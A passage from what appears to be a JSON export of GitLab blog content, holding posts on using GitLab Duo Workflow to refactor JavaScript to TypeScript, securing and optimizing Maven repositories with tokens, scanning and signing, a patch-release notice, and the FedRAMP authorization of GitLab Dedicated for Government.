page](https://about.gitlab.com/security/), highlighting the GitLab Trust Center, compliance certifications, and security measures that keep users and customers safe on our platform.\n",[674,695,754,736,479],{"slug":1408,"featured":92,"template":678},"introducing-compromised-password-detection-for-gitlab-com","content:en-us:blog:introducing-compromised-password-detection-for-gitlab-com.yml","Introducing Compromised Password Detection For Gitlab Com","en-us/blog/introducing-compromised-password-detection-for-gitlab-com.yml","en-us/blog/introducing-compromised-password-detection-for-gitlab-com",{"_path":1414,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1415,"content":1421,"config":1426,"_id":1428,"_type":16,"title":1429,"_source":17,"_file":1430,"_stem":1431,"_extension":20},"/en-us/blog/refactoring-javascript-to-typescript-with-gitlab-duo-workflow",{"title":1416,"description":1417,"ogTitle":1416,"ogDescription":1417,"noIndex":6,"ogImage":1418,"ogUrl":1419,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1419,"schema":1420},"Refactoring JavaScript to TypeScript with GitLab Duo Workflow","Learn how we used our autonomous AI agent, which sits in your development environment, to convert a real-world JavaScript application to TypeScript.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660174/Blog/Hero%20Images/Workflow_1800x945.png","https://about.gitlab.com/blog/refactoring-javascript-to-typescript-with-gitlab-duo-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Refactoring JavaScript to TypeScript with GitLab Duo Workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Frédéric Caplette\"}],\n        \"datePublished\": \"2025-05-22\",\n      }",{"title":1416,"description":1417,"authors":1422,"heroImage":1418,"date":1404,"body":1424,"category":791,"tags":1425},[1423],"Frédéric Caplette","TypeScript adoption continues to grow, with over 88% of developers reporting they either use or want to use it. Yet, migrating existing JavaScript codebases to TypeScript is often a time-consuming process. Enter [GitLab Duo Workflow](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/): secure, agentic AI that sits right inside your development environment, helping transform high-level tasks into executable workflows. In this article, you'll learn how we used Duo Workflow to update Duo Workflow, converting a real-world JavaScript application to TypeScript. We'll also review the technical process and broader implications for development workflows.\n\nThis video walks through visually what you'll read below:\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1085078036?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Refactor JavaScript to TypeScript with GitLab Duo Workflow\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## The challenge: Refactor JS to TS\n\nWe decided to migrate Duo Workflow client-related logic to TypeScript for better type safety and auto-complete. A JavaScript-to-TypeScript migration involves more than just changing file extensions. It requires:\n\n1. Analyzing existing code patterns to determine appropriate types  \n2. Handling edge cases where type inference is ambiguous  \n3. Ensuring consistency across the codebase  \n4. Managing dependencies and third-party libraries  \n5. Validating that runtime behavior remains unchanged\n\nDoing all of this work manually can be very time consuming and not much fun. Thankfully, managing your projects is easier and more efficient with Duo Workflow – even when the project is Duo Workflow.\n\n## How it works\n\nIf you've used AI coding assistants before, you're likely familiar with their chat-based interfaces (like [GitLab Duo Chat](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/)). These chats can provide code snippets, suggested directory structures, and more. GitLab Duo Workflow fundamentally differs from these in several key ways:\n\n1. It's contextually aware of your entire codebase, not just open files or highlighted text. You can also add context from relevant GitLab issues or merge requests.  \n2. It develops and executes a multi-stage plan, allowing for more complete solutions.  \n3. It keeps a human in the loop, ensuring you understand and approve of what is happening at each step of the way.  \n4. It stages changes to your repository, giving you control over what to accept.\n\nDuo Workflow uses an agentic AI approach, powered by Claude 3.5 Sonnet, to understand code semantics while maintaining a deep integration with GitLab's DevOps platform.\n\nLet's walk through a real-world example of refactoring a JavaScript file using GitLab Duo Workflow. In our case, we started with the prompt:\n\n```unset\nI need to refactor a JavaScript file packages/webview_duo_workflow/src/app/stores/workflow.js to TypeScript. Please analyze the code, identify any issues, and convert it to TypeScript with appropriate type definitions.\n```\n\n### Analysis\n\nAfter prompting, Duo Workflow first analyzed the codebase structure:\n\n* Identified that `workflow.js` is a Pinia store implementation  \n* Noted it uses imports from various modules including `constants.ts` (which was already in TypeScript)  \n* Recognized GraphQL queries import exists but the file wasn't accessible\n\nBased on this analysis, Duo Workflow identified specific typing needs:\n\n**Type definitions needed for:**\n\n* Store State interface with precise types:  \n  * `areWorkflowsLoading`: boolean  \n  * `isLoadingWorkflow`: boolean  \n  * `isLoadingRecentWorkflows`: boolean  \n  * `recentWorkflows`: array  \n  * `workflows`: array  \n  * `workflowsPageInfo`: object  \n  * `initialState`: object  \n  * `activeWorkflow`: object with specific shape\n\n**Interface definitions required:**\n\n* Workflow interface with properties:  \n  * `id`: string  \n  * `goal`: string  \n  * `status`: string  \n  * `checkpoint`: object  \n  * `type`: string\n\n**Parameter types needed for:**\n\n* GraphQL response types for workflows data  \n* Event handler parameter types  \n* Function parameter types for actions like `getWorkflowById`, `runWorkflow`, etc.\n\nDuo Workflow identified several complex patterns requiring special handling:\n\n* Uses optional chaining extensively  \n* Has nested object destructuring  \n* Contains GraphQL integration  \n* Uses Pinia store patterns with state, getters, and actions  \n* Implements an events mapping system\n\nThe system recognized external type dependencies:\n\n* Pinia store types  \n* GraphQL query response types  \n* Functions from an internal Bridge module were also properly recognized (for `sendRequest`, `sendGraphqlRequest`)\n\nThe final analysis concluded: \"The file will need to be renamed from .js to .ts and appropriate type definitions added while maintaining the existing functionality.\"\n\n### Planning\n\nBased on this thorough analysis, Duo Workflow created a structured plan consisting of specific tasks:\n\n1. **Create a new TypeScript file** `workflow.ts` in the same directory as the original JS file.\n\n2. **Create TypeScript interfaces** for the store state and workflow types at the top of the new file, including:\n\n   * WorkflowState interface for store state  \n   * Workflow interface for workflow object structure  \n   * WorkflowPageInfo interface for pagination info  \n   * WorkflowCheckpoint interface for checkpoint data\n\n3. **Copy and add type annotations** to the store implementation from `workflow.js`, including:\n\n   * State return type  \n   * Getter return types  \n   * Action parameter types  \n   * Action return types\n\n4. **Update all imports** in `workflow.ts` to:\n\n   * Add type imports from Pinia  \n   * Update local imports to use .ts extensions where applicable  \n   * Import any required type definitions\n\n### Execution\n\nAfter the plan is complete, we were prompted to  “Approve plan.” Before clicking approve, we reviewed each step and ensured we were comfortable with the plan. After approval, Duo Workflow showed its progress through each step with visual indicators and explanations of what API operations were supporting each task (like \"Supported by: create_file_with_contents\" or \"Supported by: edit\\_file\"). When the work was done, we reviewed the changes before committing. \n\n## What we learned\n\nThis JavaScript-to-TypeScript migration example showcases a significant evolution in AI-assisted development. What makes GitLab Duo Workflow particularly interesting is its approach to:\n\n### Task-oriented programming vs. suggestion-only assistance\n\nUnlike many AI assistants that simply offer code snippets or suggestions, Duo Workflow understands and executes complete tasks. The difference is significant — rather than saying \"here's some TypeScript code you might use,\" it says \"I'll convert this file for you, here's my plan, and here are the changes I'm making.\"\n\n### Contextual understanding of the entire codebase\n\nThe tool demonstrates awareness of project structure, related files (like constants.ts and GraphQL queries), and the relationships between components. This contextual understanding allows for more sophisticated conversions than localized transformations.\n\n### Step-by-step execution with visibility\n\nThe plan-based approach, with clear steps and progress indicators, provides transparency into what would otherwise be a black-box process. This allows developers to understand what the AI is doing and how it's approaching the problem.\n\n> GitLab Duo Workflow is currently available in private beta for GitLab Ultimate customers. [Sign up for the waitlist today!](https://about.gitlab.com/gitlab-duo/workflow/)\n\n## Learn more\n\n- [Agentic AI guides and resources](https://about.gitlab.com/blog/agentic-ai-guides-and-resources/)  \n- [GitLab Duo Workflow](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)  \n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)",[790,696,479,754],{"slug":1427,"featured":92,"template":678},"refactoring-javascript-to-typescript-with-gitlab-duo-workflow","content:en-us:blog:refactoring-javascript-to-typescript-with-gitlab-duo-workflow.yml","Refactoring Javascript To Typescript With Gitlab Duo Workflow","en-us/blog/refactoring-javascript-to-typescript-with-gitlab-duo-workflow.yml","en-us/blog/refactoring-javascript-to-typescript-with-gitlab-duo-workflow",{"_path":1433,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1434,"content":1440,"config":1445,"_id":1447,"_type":16,"title":1448,"_source":17,"_file":1449,"_stem":1450,"_extension":20},"/en-us/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab",{"title":1435,"description":1436,"ogTitle":1435,"ogDescription":1436,"noIndex":6,"ogImage":1437,"ogUrl":1438,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1438,"schema":1439},"Tutorial: Secure and optimize your Maven Repository in GitLab","Learn the best practices, advanced techniques, and upcoming features that improve the efficiency of your DevSecOps workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666187/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","https://about.gitlab.com/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Secure and optimize your Maven Repository in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-05-22\",\n      }",{"title":1435,"description":1436,"authors":1441,"heroImage":1437,"date":1404,"body":1442,"category":674,"tags":1443},[1125],"As a GitLab product manager, I'm excited to share insights on securing and optimizing your Maven repository. We're passionate about providing a complete DevSecOps platform, and the Maven repository is part of this ecosystem. Explore best practices, advanced techniques, and upcoming features that will transform your Maven workflow.\n\n## Securing your Maven repository: A comprehensive approach\n\nSecuring your software supply chain is more critical than ever so let's dive into strategies to fortify your Maven packages in GitLab.\n\n### Implement strong authentication\n\n**Personal access tokens:** Use PATs for fine-grained access control.\n\nFor example:\n\n```bash\nmvn deploy -s settings.xml\n```\n\nWhere `settings.xml` contains:\n\n```xml\n\u003Csettings>\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Private-Token\u003C/name>\n            \u003Cvalue>${env.GITLAB_PERSONAL_TOKEN}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\n**Deploy tokens:** Ideal for CI/CD pipelines. Generate these in your GitLab project settings and use them in your `.gitlab-ci.yml`.\n\n```yaml\ndeploy:\n  script:\n    - 'mvn deploy -s ci_settings.xml'\n  variables:\n    MAVEN_CLI_OPTS: \"-s ci_settings.xml --batch-mode\"\n    MAVEN_OPTS: \"-Dmaven.repo.local=.m2/repository\"\n  only:\n    - main\n```\n\nThe corresponding `ci_settings.xml` file:\n\n```xml\n\u003Csettings xmlns=\"http://maven.apache.org/SETTINGS/1.1.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/SETTINGS/1.1.0 http://maven.apache.org/xsd/settings-1.1.0.xsd\">\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Deploy-Token\u003C/name>\n            \u003Cvalue>${env.CI_DEPLOY_PASSWORD}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\nIn this setup:\n\n* The `CI_DEPLOY_PASSWORD` should be set as a CI/CD variable in your GitLab project settings containing the deploy token.\n* The `\u003Cid>` should match the repository ID in your project's `pom.xml` file.\n\n**Token rotation:** Implement a token rotation policy using GitLab's API. For example, you could create a scheduled pipeline that rotates tokens monthly:\n\n```yaml\nrotate_tokens:\n  script:\n    - curl --request POST \"https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/deploy_tokens\" --header \"PRIVATE-TOKEN: ${ADMIN_TOKEN}\" --form \"name=maven-deploy-${CI_PIPELINE_ID}\" --form \"scopes[]=read_registry\" --form \"scopes[]=write_registry\"\n  only:\n    - schedules\n```\n\n### Leverage GitLab's built-in security features\n\n**Dependency Scanning:** Enable it in your `.gitlab-ci.yml`.\n\n```yaml\ninclude:\n  - template: Security/Dependency-Scanning.gitlab-ci.yml\n\nvariables:\n  DS_JAVA_VERSION: 11\n```\n\n**Container Scanning:** If you're containerizing your Maven applications.\n\n```yaml\ninclude:\n  - template: Security/Container-Scanning.gitlab-ci.yml\n\nvariables:\n  CS_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA\n```\n\n**License Compliance:** Ensure all dependencies comply with your project's licensing requirements.\n\n```yaml\ninclude:\n  - template: Security/License-Scanning.gitlab-ci.yml\n```\n\n### Secure your CI/CD pipeline\n\n* **CI/CD variables:** Store sensitive information securely.\n\n  ```yaml\n  variables:\n    MAVEN_REPO_USER: ${CI_DEPLOY_USER}\n    MAVEN_REPO_PASS: ${CI_DEPLOY_PASSWORD}\n  ```\n* **Masked variables:** Prevent exposure in job logs. Set these in your GitLab CI/CD settings.\n* **Protected branches and tags:** Configure these in your GitLab project settings to control who can trigger package publishing.\n\n### Implement package signing\n\n* Use the Maven GPG plugin to sign your artifacts.\n\n  ```xml\n  \u003Cplugin>\n    \u003CgroupId>org.apache.maven.plugins\u003C/groupId>\n    \u003CartifactId>maven-gpg-plugin\u003C/artifactId>\n    \u003Cversion>1.6\u003C/version>\n    \u003Cexecutions>\n      \u003Cexecution>\n        \u003Cid>sign-artifacts\u003C/id>\n        \u003Cphase>verify\u003C/phase>\n        \u003Cgoals>\n          \u003Cgoal>sign\u003C/goal>\n        \u003C/goals>\n      \u003C/execution>\n    \u003C/executions>\n  \u003C/plugin>\n  ```\n\n* Store your GPG key securely using GitLab CI/CD variables.\n\n### Control package access\n\n* Use GitLab's project and group-level package registry settings to restrict access.\n* Implement IP allowlists for network-level access control in your GitLab instance settings.\n\n## Optimize performance: Streamline your Maven workflow\n\nEfficiency is crucial when working with large projects or numerous dependencies. Here are advanced techniques to optimize your Maven package usage in GitLab.\n\n### Utilize dependency management\n\n* Use the `\u003CdependencyManagement>` section in your parent POM.\n\n  ```xml\n  \u003CdependencyManagement>\n    \u003Cdependencies>\n      \u003Cdependency>\n        \u003CgroupId>org.springframework.boot\u003C/groupId>\n        \u003CartifactId>spring-boot-dependencies\u003C/artifactId>\n        \u003Cversion>${spring-boot.version}\u003C/version>\n        \u003Ctype>pom\u003C/type>\n        \u003Cscope>import\u003C/scope>\n      \u003C/dependency>\n    \u003C/dependencies>\n  \u003C/dependencyManagement>\n  ```\n### Leverage multi-module projects\n\n  * Structure your project with a parent POM and multiple modules:\n\n    ```\n    my-project/\n    ├── pom.xml\n    ├── module1/\n    │   └── pom.xml\n    ├── module2/\n    │   └── pom.xml\n    └── module3/\n        └── pom.xml\n    ```\n  * Use Maven's reactor to build modules in the optimal order:\n\n    ```bash\n    mvn clean install\n    ```\n\n### Implement parallel builds\n\n* Use Maven's parallel build feature:\n\n  ```bash\n  mvn -T 4C clean install\n  ```\n\n### Optimize for CI/CD\n\n* In `.gitlab-ci.yml`, use caching to speed up builds:\n\n  ```yaml\n  cache:\n    paths:\n      - .m2/repository\n\n  build:\n    script:\n      - mvn clean package -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository\n  ```\n* Implement incremental builds:\n\n  ```yaml\n  build:\n    script:\n      - mvn clean install -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository -am -amd -fae\n  ```\n\n### Utilize build caching\n\n* Use the Gradle Enterprise Maven Extension for build caching:\n\n  ```xml\n  \u003Cbuild>\n    \u003Cplugins>\n      \u003Cplugin>\n        \u003CgroupId>com.gradle\u003C/groupId>\n        \u003CartifactId>gradle-enterprise-maven-plugin\u003C/artifactId>\n        \u003Cversion>1.9\u003C/version>\n        \u003Cconfiguration>\n          \u003CgradleEnterprise>\n            \u003Cserver>https://ge.example.com\u003C/server>\n            \u003CallowUntrusted>false\u003C/allowUntrusted>\n          \u003C/gradleEnterprise>\n        \u003C/configuration>\n      \u003C/plugin>\n    \u003C/plugins>\n  \u003C/build>\n  ```\n\n## Introducing the Maven Virtual Registry beta program\n\nI'm thrilled to announce the launch of our beta program for the upcoming Maven virtual registry feature. This addition to our package ecosystem will change how you manage Maven repositories in GitLab.\n\n### Key features of Maven Virtual Registry\n\n1. **Repository aggregation:** Combine multiple Maven repositories (both internal and external) into a single virtual repository.\n2. **Smart proxy and caching:** Improve build times by caching artifacts and intelligently routing requests.\n3. **Centralized Access Control:** Enhance security by managing access to all repositories from a single point.\n\n### How it works\n\n1. **Configuration:** Configure Maven authentication in your `settings.xml`:\n\n```\n\u003Csettings>\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Private-Token\u003C/name>\n            \u003Cvalue>${env.GITLAB_TOKEN}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\nAuthentication options:\n\n- Personal access token: Use `Private-Token` as the name and `${env.GITLAB_TOKEN}` as the value.\n\n-  Group deploy token: Use `Deploy-Token` as the name and `${env.GITLAB_DEPLOY_TOKEN}` as the value.\n\n- Group access token: Use `Private-Token` as the name and `${env.GITLAB_ACCESS_TOKEN}` as the value.\n\n- CI job token: Use `Job-Token` as the name and `${CI_JOB_TOKEN}` as the value.\n\n- Configure the virtual registry in your `pom.xml`.\n\nOption 1: As an additional registry:\n\n```\n\u003Crepositories>\n  \u003Crepository>\n    \u003Cid>gitlab-maven\u003C/id>\n    \u003Curl>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/\u003Cvirtual registry id>\u003C/url>\n  \u003C/repository>\n\u003C/repositories>\n```\n\nOption 2: As a replacement for Maven Central (in your `settings.xml`):\n\n```\n\u003Cmirrors>\n  \u003Cmirror>\n    \u003Cid>gitlab-maven\u003C/id>\n    \u003Cname>GitLab virtual registry for Maven Central\u003C/name>\n    \u003Curl>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/\u003Cvirtual registry id>\u003C/url>\n    \u003CmirrorOf>central\u003C/mirrorOf>\n  \u003C/mirror>\n\u003C/mirrors>\n```\n\n2. **Usage:** Now all your Maven operations will use the virtual repository.\n\n```\n# For personal access tokens\nexport GITLAB_TOKEN=your_personal_access_token\n\n# For group deploy tokens\nexport GITLAB_DEPLOY_TOKEN=your_deploy_token\n\n# For group access tokens\nexport GITLAB_ACCESS_TOKEN=your_access_token\n\n# Then run Maven commands normally\nmvn package\n\n```\n\n3. Benefits\n\n- Simplified dependency management\n- Improved build times\n- Enhanced security and compliance\n- Better control over third-party dependencies\n\n### Join the beta program\n\nWe're actively seeking participants for our beta program. As a beta tester, you'll have the opportunity to:\n\n* Get early access to the Maven Virtual Registry feature.\n* Provide direct feedback to our development team.\n* Shape the future of Maven package management in GitLab.\n* Participate in exclusive webinars and Q&A sessions with our product team.\n\n> To join the beta program or learn more about the Maven Virtual Registry, please visit the [GitLab Maven Virtual Registry Beta Program](https://gitlab.com/gitlab-org/gitlab/-/issues/498139) (**Note:** This is a placeholder link).\n\n## Summary\n\nAt GitLab, we're committed to providing cutting-edge tools for secure, efficient, and scalable software development. The Maven Virtual Registry is just one example of how we're continuously innovating to meet the evolving needs of developers and platform engineers.\n\nImplementing the security measures and optimization techniques discussed in this post and leveraging upcoming features like the Maven Virtual Registry can improve your Maven workflow within GitLab.\n\nWe're excited about the future of package management in GitLab and can't wait to see how you'll use these features to take your development process to the next level. Stay tuned for more updates and happy coding!",[674,479,754,695,1444],"workflow",{"slug":1446,"featured":92,"template":678},"tutorial-secure-and-optimize-your-maven-repository-in-gitlab","content:en-us:blog:tutorial-secure-and-optimize-your-maven-repository-in-gitlab.yml","Tutorial Secure And Optimize Your Maven Repository In Gitlab","en-us/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab.yml","en-us/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab",{"_path":1452,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1453,"content":1459,"config":1465,"_id":1468,"_type":16,"title":1469,"_source":17,"_file":1470,"_stem":1471,"_extension":20},"/en-us/blog/gitlab-patch-release-18-0-1-17-11-3-17-10-7",{"title":1454,"description":1455,"ogTitle":1454,"ogDescription":1455,"config":1456,"ogImage":712,"ogUrl":1457,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1457,"schema":1458},"GitLab Patch Release: 18.0.1, 17.11.3, 17.10.7","Learn more about this critical patch for GitLab Community Edition and Enterprise Edition.",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-18-0-1-17-11-3-17-10-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 18.0.1, 17.11.3, 17.10.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2025-05-21\",\n      }",{"title":1454,"description":1455,"authors":1460,"heroImage":712,"date":1461,"body":1462,"category":695,"tags":1463},[1014],"2025-05-21","This is the post for the [GitLab Patch Release: 18.0.1, 17.11.3, 17.10.7](https://about.gitlab.com/releases/2025/05/21/patch-release-gitlab-18-0-1-released/).\n",[1464,716],"security releases",{"slug":1466,"featured":6,"template":678,"externalUrl":1467},"gitlab-patch-release-18-0-1-17-11-3-17-10-7","https://about.gitlab.com/releases/2025/05/21/patch-release-gitlab-18-0-1-released/","content:en-us:blog:gitlab-patch-release-18-0-1-17-11-3-17-10-7.yml","Gitlab Patch Release 18 0 1 17 11 3 17 10 7","en-us/blog/gitlab-patch-release-18-0-1-17-11-3-17-10-7.yml","en-us/blog/gitlab-patch-release-18-0-1-17-11-3-17-10-7",{"_path":1473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1474,"content":1480,"config":1486,"_id":1488,"_type":16,"title":1489,"_source":17,"_file":1490,"_stem":1491,"_extension":20},"/en-us/blog/gitlab-dedicated-for-government-now-fedramp-authorized",{"title":1475,"description":1476,"ogTitle":1475,"ogDescription":1476,"noIndex":6,"ogImage":1477,"ogUrl":1478,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1478,"schema":1479},"GitLab Dedicated for Government now FedRAMP-authorized","Learn how our single-tenant SaaS solution empowers public sector customers to securely accelerate their modernization initiatives.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662023/Blog/Hero%20Images/display-dedicated-for-government-article-image-0679-1800x945-fy26.png","https://about.gitlab.com/blog/gitlab-dedicated-for-government-now-fedramp-authorized","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Dedicated for Government now FedRAMP-authorized\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Deepa Mahalingam\"},{\"@type\":\"Person\",\"name\":\"Elisabeth Burrows\"}],\n        \"datePublished\": \"2025-05-19\",\n      }",{"title":1475,"description":1476,"authors":1481,"heroImage":1477,"date":1483,"body":1484,"category":695,"tags":1485},[1482,1186],"Deepa Mahalingam","2025-05-19","We're excited to announce that GitLab Dedicated for Government has achieved FedRAMP Authorization at the Moderate Impact Level, marking a significant milestone in our commitment to serving public sector organizations. GitLab Dedicated for Government is now listed as \"Authorized\" on the [FedRAMP Marketplace](https://marketplace.fedramp.gov/products/FR2411959145). Our single-tenant solution provides all the benefits of an enterprise DevSecOps platform with enhanced data residency, isolation, and private networking capabilities to meet the most stringent compliance requirements. GitLab Dedicated for Government provides the flexibility and scalability of a SaaS solution, enabling government agencies to modernize and secure their software supply chain from code to cloud. \n\nThe [Federal Risk and Authorization Management Program](https://www.fedramp.gov/) (FedRAMP) is the gold standard for cloud security across US government agencies. As a mandatory security framework for federal cloud adoption since its 2011 launch, it provides a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services. \n\n## Meeting the growing demand for secure cloud solutions\n\nAs more public sector organizations move away from costly legacy systems and migrate their mission-critical workloads to the cloud, cloud-native development and multi-cloud adoption will grow significantly. At GitLab, we serve a wide variety of customers in the public sector – from federally-funded research and development centers, service providers, and contractors working on behalf of the government, to the largest government agencies across the globe. We understand that no single deployment model will serve the needs of all of our customers. \n\nOur customers have told us they need a SaaS offering that provides additional deployment control and data residency to meet stringent compliance requirements. We see this need with large enterprises and companies in regulated industries that are coming under increased scrutiny, facing global internet policy fragmentation, and dealing with the expanding complexity of data governance. GitLab has consistently observed that security is a top priority for organizations and our [2024 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/) showed that this trend continued, with security remaining the primary investment area.\n\nGitLab Dedicated for Government was specifically designed to address these needs – enabling organizations to accelerate their digital transformation initiatives with confidence.\n\n## Key benefits of GitLab Dedicated for Government\n\n**1. Toolchain consolidation**\n\nToolchain management continues to be a significant challenge for DevSecOps teams. According to our 2024 Global DevSecOps Survey, 64% of respondents expressed the need to consolidate their toolchains, with security professionals particularly affected – 63% reported using six or more tools.\n\nThis proliferation of tools results in unnecessary expenditure and introduces complexities and vulnerabilities that increase the risk of cyber attacks. GitLab Dedicated for Government unites DevSecOps teams on a single platform with a unified workflow, eliminating the need to purchase or maintain multiple tools. Organizations can strengthen security, improve efficiency, and accelerate collaboration by consolidating their complex toolchains. Additionally, consolidation supports zero trust architecture implementation by centralizing access control, making it easier to enforce consistent security policies and authentication requirements across the entire development lifecycle. GitLab also enables flexibility by allowing you to utilize existing critical tools through our integration capabilities.\n\n**2. Data residency and protection**\n\nGitLab Dedicated for Government is built on FedRAMP-authorized infrastructure that meets U.S. data sovereignty requirements, including access restricted to U.S. citizens. To further enhance data protection, our solution supports secure, private connections between the customer's virtual private cloud network and GitLab, ensuring users, data, and services have secure access to isolated instances without direct internet exposure. All data is [encrypted at rest](https://docs.gitlab.com/subscriptions/gitlab\\_dedicated/\\#data-encryption) and in transit using the latest encryption standards, with the option to use your own AWS Key Management Service encryption key for data at rest, giving you full control over stored data. GitLab Dedicated for Government also ensures CVEs are patched continuously. It is an ideal platform for teams to build a centralized DevSecOps platform while offboarding compliance burdens to GitLab.\n\n**3. Managed and hosted by GitLab**\n\nOur solution is single-tenant (providing physical isolation from other customers), U.S.-based, privately connected, and fully managed and hosted by GitLab. Organizations can quickly realize the value of a comprehensive DevSecOps platform with the advanced flexibility and customization of a self-managed instance – without requiring staff to build and manage infrastructure.\n\nThis approach delivers all the benefits of GitLab – shorter cycle times, lower costs, stronger security, and more productive developers – with a lower total cost of ownership and quicker time-to-value compared to self-hosting.\n\n**4. Comprehensive native security capabilities**\n\nOur 2024 Global DevSecOps Survey revealed that 60% of public sector security professionals report vulnerabilities are mostly discovered after code is merged into test environments, and only 51% consider their DevSecOps practices mature and well-ingrained. GitLab's comprehensive security scanning capabilities, built into the DevSecOps platform,  provide superior control and protection throughout the entire software development lifecycle, helping public sector organizations address these issues. These features eliminate the need for third-party security tools that could potentially compromise compliance. \n\nFor example, organizations gain access to a complete suite of native security scanners including API Security, Container Scanning, Dynamic Application Security Testing, and Fuzz Testing. This integrated approach ensures federal security standards are met without disrupting development workflows.\n\nWith the GitLab DevSecOps unified platform, public sector organizations avoid the painful scenario of discovering security limitations mid-implementation and having to choose between compromising on security features or implementing non-compliant solutions. \n\n## How to get started with GitLab Dedicated for Government\n\nGitLab Dedicated for Government provides the efficiencies of the cloud combined with infrastructure-level isolation and data residency controls. To learn more about how GitLab Dedicated for Government can help secure your software supply chain, reach out to our [sales team](https://about.gitlab.com/sales/). Whether you are a new customer or looking to migrate from your existing GitLab instance, we will ensure a smooth transition with comprehensive [migration support](https://about.gitlab.com/services/) tailored to your needs. \n\n**Note:** GitLab has also achieved the [Texas Risk and Authorization Management Program Certification](https://dir.texas.gov/resource-library-item/tx-ramp-certified-cloud-products) (TX_RAMP), which allows us to work with Texas state agencies.",[479,754,736,695,185],{"slug":1487,"featured":92,"template":678},"gitlab-dedicated-for-government-now-fedramp-authorized","content:en-us:blog:gitlab-dedicated-for-government-now-fedramp-authorized.yml","Gitlab Dedicated For Government Now Fedramp Authorized","en-us/blog/gitlab-dedicated-for-government-now-fedramp-authorized.yml","en-us/blog/gitlab-dedicated-for-government-now-fedramp-authorized",{"_path":1493,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1494,"content":1501,"config":1507,"_id":1510,"_type":16,"title":1511,"_source":17,"_file":1512,"_stem":1513,"_extension":20},"/en-us/blog/gitlab-18-released",{"title":1495,"description":1496,"ogTitle":1495,"ogDescription":1496,"config":1497,"ogImage":1498,"ogUrl":1499,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1499,"schema":1500},"GitLab 18 released","This release includes GitLab Premium and Ultimate with Duo, automatic reviews with Duo Code Review, improved Duo Code Review context, repository X-Ray now available on Gitlab Duo Self-Hosted, and much more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662010/Blog/Hero%20Images/product-gl18-blog-release-cover-18-0-0750-1800x945-fy26.png","https://about.gitlab.com/blog/gitlab-18-released","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 18 released\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeff Tucker\"}],\n        \"datePublished\": \"2025-05-15\",\n      